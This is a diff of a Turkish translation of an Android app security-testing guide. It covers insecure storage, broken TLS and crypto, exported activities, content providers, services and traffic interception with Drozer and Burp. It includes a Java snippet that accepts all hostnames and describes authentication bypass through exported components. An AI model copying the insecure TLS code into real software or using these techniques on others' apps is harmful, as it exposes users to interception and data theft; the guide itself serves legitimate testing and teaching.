Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, bu dosyalara erişimi **kısıtlamaz**.
|
||||
|
||||
1. **Statik Analiz:**
|
||||
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini sağlayın**. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
|
||||
- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir.
|
||||
2. **Dinamik Analiz:**
|
||||
- Uygulama tarafından oluşturulan dosyaların **izinlerini** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, **cihazda yüklü olan herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
|
||||
- Uygulama tarafından oluşturulan dosyaların üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir.
|
||||
|
||||
**Harici Depolama**
|
||||
|
||||
@ -121,33 +121,33 @@ Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan*
|
||||
1. **Erişilebilirlik**:
|
||||
- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
|
||||
2. **Güvenlik Endişeleri**:
|
||||
- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri** harici depolamada saklamamanız önerilir.
|
||||
- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir.
|
||||
- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri harici depolamada saklamamanız önerilir**.
|
||||
- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da güvenliğini azaltır.
|
||||
3. **Harici Depolamadan Veri İşleme**:
|
||||
- Harici depolamadan alınan veriler üzerinde her zaman **girdi doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
|
||||
- Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir.
|
||||
- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez.
|
||||
- Uygulamanız harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
- Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
|
||||
|
||||
Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**.
|
||||
|
||||
> [!TIP]
|
||||
> Android 4.4 ile birlikte (**API 17**), SD kartın bir dizin yapısı vardır ve bu, **bir uygulamanın yalnızca o uygulama için özel olan dizine erişimini sınırlar**. Bu, kötü niyetli uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
|
||||
> Android 4.4 (**API 17**) ile birlikte, SD kartın bir dizin yapısı vardır ve bu, **bir uygulamanın yalnızca o uygulama için özel olan dizine erişimini sınırlar**. Bu, kötü niyetli uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
|
||||
|
||||
**Açık metin olarak saklanan hassas veriler**
|
||||
|
||||
- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
- **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data/<packagename>/shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
- **Veritabanları**: Android, her uygulamanın `/data/data/<packagename>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür.
|
||||
|
||||
### Kırık TLS
|
||||
|
||||
**Tüm Sertifikaları Kabul Etme**
|
||||
|
||||
Bazı nedenlerden dolayı, bazen geliştiriciler, örneğin ana bilgisayar adı kod satırlarıyla eşleşmese bile tüm sertifikaları kabul ederler:
|
||||
Bazı nedenlerden dolayı, bazen geliştiriciler, örneğin, ana bilgisayar adı kod satırlarıyla eşleşmese bile tüm sertifikaları kabul ederler:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Bir bunu test etmenin iyi bir yolu, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak Burp CA'yı cihaz içinde yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz.
|
||||
Bir bunu test etmenin iyi bir yolu, Burp gibi bir proxy kullanarak trafiği yakalamaya çalışmaktır, ancak cihaz içinde Burp CA'yı yetkilendirmeden. Ayrıca, Burp ile farklı bir hostname için bir sertifika oluşturabilir ve bunu kullanabilirsiniz.
|
||||
|
||||
### Kırık Kriptografi
|
||||
|
||||
@ -157,19 +157,19 @@ Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hard
|
||||
|
||||
**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı**
|
||||
|
||||
Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır.
|
||||
Geliştiriciler, yetkilendirme **kontrolleri** yapmak, **veri saklamak** veya **göndermek** için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır.
|
||||
|
||||
### Diğer Kontroller
|
||||
|
||||
- **APK'yı obfuscate etmek** önerilir, böylece tersine mühendislik işlemleri saldırganlar için zorlaşır.
|
||||
- Uygulama hassas ise (örneğin banka uygulamaları), **mobilin köklenip köklenmediğini kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir.
|
||||
- Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir.
|
||||
- Uygulama hassas ise (örneğin banka uygulamaları), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir** ve değiştirilip değiştirilmediğini kontrol etmelidir.
|
||||
- Uygulama hassas ise (örneğin banka uygulamaları), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**.
|
||||
- APK'yı oluşturmak için hangi derleyici/paketleyici/obfuscator kullanıldığını kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın.
|
||||
|
||||
### React Native Uygulaması
|
||||
|
||||
React uygulamalarının javascript koduna kolayca erişmek için aşağıdaki sayfayı okuyun:
|
||||
React uygulamalarının javascript koduna kolayca erişmeyi öğrenmek için aşağıdaki sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
react-native-application.md
|
||||
@ -177,7 +177,7 @@ react-native-application.md
|
||||
|
||||
### Xamarin Uygulamaları
|
||||
|
||||
Xamarin uygulamalarının C# koduna kolayca erişmek için aşağıdaki sayfayı okuyun:
|
||||
Xamarin uygulamalarının C# koduna kolayca erişmeyi öğrenmek için aşağıdaki sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
../xamarin-apps.md
|
||||
@ -185,11 +185,11 @@ Xamarin uygulamalarının C# koduna kolayca erişmek için aşağıdaki sayfayı
|
||||
|
||||
### Süper Paketlenmiş Uygulamalar
|
||||
|
||||
Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre süper paketlenmiş, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmadır. Blog, bu tür uygulamaları açan bir uygulama oluşturma olasılığından bahsediyor... ve **uygulamayı çalıştırıp dosya sisteminden açılmış dosyaları toplamak** gibi daha hızlı bir yol.
|
||||
Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre süper paketlenmiş, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmadır. Blog, bu tür uygulamaları açan bir uygulama oluşturma olasılığından bahsediyor... ve **uygulamayı çalıştırıp dosya sisteminden açılmış dosyaları toplamak** gibi daha hızlı bir yol içeriyor.
|
||||
|
||||
### Otomatik Statik Kod Analizi
|
||||
|
||||
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** (kaynaklar), kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösteren **sinkler** ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonlarını** belirtir.
|
||||
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** içerir, **sink** (kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösterir) ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonlarını** belirtir.
|
||||
|
||||
Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**.
|
||||
|
||||
@ -206,9 +206,9 @@ bypass-biometric-authentication-android.md
|
||||
### Diğer İlginç Fonksiyonlar
|
||||
|
||||
- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native fonksiyonlar** `native` olarak tanımlanmıştır: `public native, System.loadLibrary, System.load`
|
||||
- [**Native fonksiyonları tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
- **SMS Gönderme**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native fonksiyonlar** `native` olarak tanımlanır: `public native, System.loadLibrary, System.load`
|
||||
- [Native fonksiyonları **tersine çevirmeyi öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
|
||||
### **Diğer Hileler**
|
||||
|
||||
@ -226,9 +226,9 @@ content-protocol.md
|
||||
|
||||
### Çevrimiçi Dinamik Analiz
|
||||
|
||||
[https://appetize.io/](https://appetize.io) adresinde **ücretsiz bir hesap** oluşturabilirsiniz. Bu platform, APK'ları **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir APK'nın nasıl davrandığını görmek için faydalıdır.
|
||||
[https://appetize.io/](https://appetize.io) adresinde **ücretsiz bir hesap** oluşturabilirsiniz. Bu platform, APK'ları **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir apk'nın nasıl davrandığını görmek için faydalıdır.
|
||||
|
||||
Ayrıca, uygulamanızın **loglarını** webde görebilir ve **adb** üzerinden bağlanabilirsiniz.
|
||||
Ayrıca, **uygulamanızın günlüklerini** webde görebilir ve **adb** üzerinden bağlanabilirsiniz.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -238,20 +238,20 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla
|
||||
|
||||
#### Bir emülatör kullanarak
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri ARM kütüphanelerini yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
|
||||
- Kurulumunu bu sayfada öğrenin:
|
||||
- [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
|
||||
- Bunu ayarlamayı öğrenmek için bu sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox ile** sürümü **indirin** önerilir._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox ile** sürümü **indirmeyi** öneririz._)
|
||||
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez).
|
||||
|
||||
> [!TIP]
|
||||
> Herhangi bir platformda yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle, mümkünse küçük ekranlar seçin.
|
||||
|
||||
Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
|
||||
Genymotion'da **Google hizmetlerini** (AppStore gibi) yüklemek için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -259,7 +259,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
|
||||
#### Fiziksel bir cihaz kullanma
|
||||
|
||||
**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve eğer **kökleyebilirseniz** harika olur:
|
||||
**hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve eğer **kökleyebilirseniz** harika olur:
|
||||
|
||||
1. **Ayarlar**.
|
||||
2. (Android 8.0'dan itibaren) **Sistem**'i seçin.
|
||||
@ -267,8 +267,8 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
4. **Build numarasına** 7 kez basın.
|
||||
5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız.
|
||||
|
||||
> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> **Bu ilk dinamik analizi MobSF dinamik analizi + pidcat kullanarak gerçekleştirmeyi** öneririm, böylece MobSF **ilginç** **verileri** toplarken uygulamanın nasıl çalıştığını **öğrenebiliriz**.
|
||||
> Uygulamayı yükledikten sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi gerçekleştirmeyi öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz.
|
||||
|
||||
### İstenmeyen Veri Sızıntısı
|
||||
|
||||
@ -282,17 +282,17 @@ Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa
|
||||
|
||||
**Kopyala/Yapıştır Tamponu Önbellekleme**
|
||||
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden hassas verilerin açığa çıkma riski taşır. Hassas bölümler için, örneğin kredi kartı bilgileri gibi, **kopyala/yapıştır** işlevlerini devre dışı bırakmak kritik öneme sahiptir.
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebileceğinden** hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi, veri sızıntılarını önlemek için kritik öneme sahiptir.
|
||||
|
||||
**Çökme Günlükleri**
|
||||
|
||||
Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
|
||||
Eğer bir uygulama **çöker** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik ile çözülemezse. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
|
||||
|
||||
Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**.
|
||||
|
||||
**Üçüncü Taraflara Gönderilen Analitik Veriler**
|
||||
|
||||
Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliştiricilerin yanlış uygulaması nedeniyle hassas verilerin **sızmasına** neden olabilir. Potansiyel veri sızıntılarını belirlemek için, uygulamanın trafiğini **yakalamak** ve üçüncü taraf hizmetlere gönderilen herhangi bir hassas bilgiyi kontrol etmek önerilir.
|
||||
Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliştiricilerin yanlış uygulaması nedeniyle hassas verilerin **sızmasına** neden olabilir. Potansiyel veri sızıntılarını belirlemek için, uygulamanın trafiğini **yakalamak** ve üçüncü taraf hizmetlere gönderilen hassas bilgileri kontrol etmek önerilir.
|
||||
|
||||
### SQLite DB'leri
|
||||
|
||||
@ -303,7 +303,7 @@ Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygul
|
||||
|
||||
Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <table_name>` ile listeleyin.
|
||||
|
||||
### Drozer (Sızdırılan Aktiviteler, İçerik Sağlayıcılar ve Hizmetler)
|
||||
### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Hizmetler)
|
||||
|
||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve altındaki işletim sistemiyle etkileşimde bulunabilir.\
|
||||
Drozer, **ihracat edilen aktiviteleri, ihracat edilen hizmetleri ve İçerik Sağlayıcıları** istismar etmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
@ -315,11 +315,11 @@ Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutm
|
||||
|
||||
**Yetkilendirme atlatma**
|
||||
|
||||
Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edildiyse, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.**
|
||||
Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat edildiğinde**, **ona erişmek için** **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.**
|
||||
|
||||
[**Drozer ile ihracat edilen aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Ayrıca adb'den bir ihracat edilen aktivite başlatabilirsiniz:
|
||||
Ayrıca, adb'den ihracat edilen bir aktivite başlatabilirsiniz:
|
||||
|
||||
- Paket Adı com.example.demo
|
||||
- İhracat Edilen Aktivite Adı com.example.test.MainActivity
|
||||
@ -342,16 +342,16 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını
|
||||
### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon
|
||||
|
||||
[**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\
|
||||
İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Yol Geçişlerini** test etmek de ilginçtir çünkü bunlar savunmasız olabilir.
|
||||
İçerik sağlayıcılar temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar zayıf olabilir.
|
||||
|
||||
[**Drozer ile İçerik Sağlayıcıları nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Hizmetleri Sömürme**
|
||||
|
||||
[**Bir Hizmetin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
|
||||
Bir Hizmetin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
|
||||
[**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
|
||||
Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
|
||||
|
||||
Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
|
||||
Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
|
||||
[**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Yayın Alıcılarını Sömürme**
|
||||
@ -359,7 +359,7 @@ Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren**
|
||||
[**Bir Yayın Alıcısının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Bir Yayın Alıcısının eylemlerinin `onReceive` metodunda başladığını unutmayın.
|
||||
|
||||
Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, savunmasız olabilir.\
|
||||
Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\
|
||||
[**Drozer ile Yayın Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Şemaları / Derin bağlantıları Sömürme**
|
||||
@ -393,13 +393,13 @@ Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğ
|
||||
|
||||
**Daha fazla örnek**
|
||||
|
||||
Bağlantılar hakkında [ilginç bir hata ödül raporu](https://hackerone.com/reports/855618) (_/.well-known/assetlinks.json_).
|
||||
Bağlantılar hakkında ilginç bir [bug bounty raporu](https://hackerone.com/reports/855618) (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Taşıma Katmanı İncelemesi ve Doğrulama Hataları
|
||||
|
||||
- Android uygulamaları **sertifikaları her zaman düzgün bir şekilde incelemez**. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
|
||||
- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortası (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
|
||||
- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken, diğer işlemler için güvensiz kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
|
||||
- **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
|
||||
- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortada (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
|
||||
- **Özel bilgilerin sızması** güvenli kanallar aracılığıyla kimlik doğrulaması yapan uygulamalar, ancak diğer işlemler için güvenli olmayan kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
|
||||
|
||||
#### Sertifika Doğrulama
|
||||
|
||||
@ -407,24 +407,24 @@ Bağlantılar hakkında [ilginç bir hata ödül raporu](https://hackerone.com/r
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopyayla doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için gereklidir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulamak şiddetle önerilir.
|
||||
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için gereklidir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulamak şiddetle önerilir.
|
||||
|
||||
#### Trafik İncelemesi
|
||||
|
||||
HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme konusunda bir rehber için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
**API Seviye 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenlik Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenlik Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md).
|
||||
**API Level 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenliği Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenliği Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
